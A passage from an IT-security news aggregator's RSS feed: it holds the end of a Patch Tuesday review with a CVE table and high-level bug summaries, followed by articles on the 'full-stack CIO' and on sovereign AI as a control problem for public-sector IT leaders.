  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
